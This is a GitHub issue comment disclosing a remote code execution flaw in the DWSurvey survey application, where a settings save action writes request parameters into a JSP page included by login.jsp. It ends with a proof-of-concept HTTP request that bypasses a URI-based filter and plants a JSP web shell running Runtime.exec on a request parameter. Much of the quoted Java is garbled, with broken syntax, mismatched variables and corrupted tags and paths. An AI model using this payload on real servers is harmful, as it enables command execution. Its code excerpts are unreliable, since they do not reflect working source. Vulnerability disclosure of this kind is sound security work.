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lavon321 commented on Aug 15, 2021 • edited ▼

The save method in the com/key/dwsurvey/action/sysuser/SysPropertyAction.java file directly accepts the parameters passed from the client and writes them into the specified configuration file, which is directly included in login.jsp, resulting in rce

A file write operation was performed on the specified file in the writeData method

```

100  ServletContext sc = Struts2Util.getSession().getServletContext(); sc.setAttribute(PAGE_PATH,
    OutputStreamWriter fw = null; try {
        try {
            ServletContext sc = Struts2Util.getSession().getServletContext(); sc.setAttribute(PAGE_PATH,
                String fileSepPath = sc.getRealPath("/") + fileSepPath; fileSepPath = "/Tomcat/apache-tomcat-8.5/
                File file = new File(fileSepPath); file.mkdirs(); file = new File(fileSepPath + "8.5/
                if (file.exists()) {
                    file.createNewFile();
                }
            }
        }
        fw = new OutputStreamWriter(new FileOutputStream(file), "UTF-8"); file = new File(fileSepPath);
        fw.write("<img page language='java' content-type='text/html' charset='UTF-8'>pageContent");
        fw.write("</>"); fw.close();
    } catch (Exception e) {
        e.printStackTrace();
    }
}

```

In the save method, the writeData method is invoked to write the admin-info.jsp, and the adminInfo variable comes from the assignment at the beginning of the Sava method.

```
String loginInfo = null;
if (adminInfoPhone == null && adminEmail == null) {
    loginInfo = "style=color:#000;font-family:serif;font-size:14px;color:gray;font-style:normal;font-weight:normal;text-align:center;";
    loginInfoPath = "WEB-INF/pages/footer/footer1.jsp".replace("http://", "file.separator");
    String writeDataLoginInfoPath = loginInfoPath;
    String adminInfo = "style=font-size:14px;font-weight:normal;text-align:center;";
    String adminInfoPath = "WEB-INF/pages/footer/footer2.jsp".replace("http://", "file.separator");
    String writeDataAdminInfoPath = adminInfoPath;
```

```
90     app,"\>邮箱:" + adminEmail + "&nbsp;&nbsp;&nbsp;&nbsp;&电话:" + adminTelephone + "&nbsp;&nbsp;&nbsp;&nbsp;&a href=\"/\"/\
```

```
public String save() throws Exception {  
    String adminMail = StrutsUtil.getParameter("adminMail");  
    String adminId = StrutsUtil.getParameter("adminId");  
    String adminTelephone = StrutsUtil.getParameter("adminTelephone");  
    String loginCode = StrutsUtil.getParameter("loginCode");  
    String loginName = StrutsUtil.getParameter("loginName");  
    String loginData = "http://www.cmc.com.cn/siteSiteProperties.replaced.html?"; //File.separator  
    Properties props = new Properties();  
    props.put("adminMail", adminMail); props.put("adminId", adminId);
```

The `xssEncode` method of the `XssHttpWrapper` class filters the request parameters by judging whether the URI contains `'/design'`

```
public String encode(String s) { return <html>.getHtml(s).escape(request.getParameter("t")); }  
    if (s == null || !isIsoptry())  
        String result = this.stripASIS(s); // <html>.getHtml(s).escape(request.getParameter("t"));  
    if (null != result)  
        HttpServletResponse request = (HttpServletResponse) super.getRequest();  
        request.setRequestHeader("Content-Type", "text/html");  
        if (request.getHeader("Content-Type") != "text/html")  
            result = this.escape(result);  
        return <html>.getHtml(result).escape(request.getParameter("t"));
```

You can see that it is mainly Chinese substitution for special characters

```
public String toString() {
    StringBuilder sb = new StringBuilder(s.length() * 3);
    sb.append(getHeader().toString());

    for(int i = 0; i < s.length(); ++i) {
        char c = s.charAt(i);
        switch(c) {
            case ' ':
                sb.append(" ");
                break;
            case '\n':
                sb.append("\n");
                break;
            case '\t':
                sb.append("\t");
                break;
            case '\r':
                sb.append("\r");
                break;
            default:
                sb.append(c);
                break;
        }
    }
    return sb.toString();
}
```

Since it is determined whether to call the filter function by judging whether the URI contains `'/design'` , it can be bypassed by adding `/design/..` in front of the path. Finally, it is found in `login.jsp` that the file is included.

```
<div class="formbar" style="padding-left: 80px;">  
    <label form="" class="frm_label"><br></label>  
    请输入帐号:<br></div>  
</div>  
<div class="dtright">  
    <p include file="/web-Inf/page/footer.txt"></p>  
</div>  
</div>  
</form>
```

Рос:

```
POST /design/.../diaowen/sy/system/sys-property!save.action HTTP/1.1
Host: localhost:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=0AA5C18932951B566B8AC5514EA7752C
DNT: 1
X-Forwarded-For: 8.8.8.8
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 186

adminTelephone=%3C%25Runtime.getRuntime().exec(request.getParameter("1"));%25%3E&adminEmail=dfdsds&adminTelephone=dfdsdfs
```

visit <http://localhost:8888/diaowen/?i=calc> , success rce:



Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant

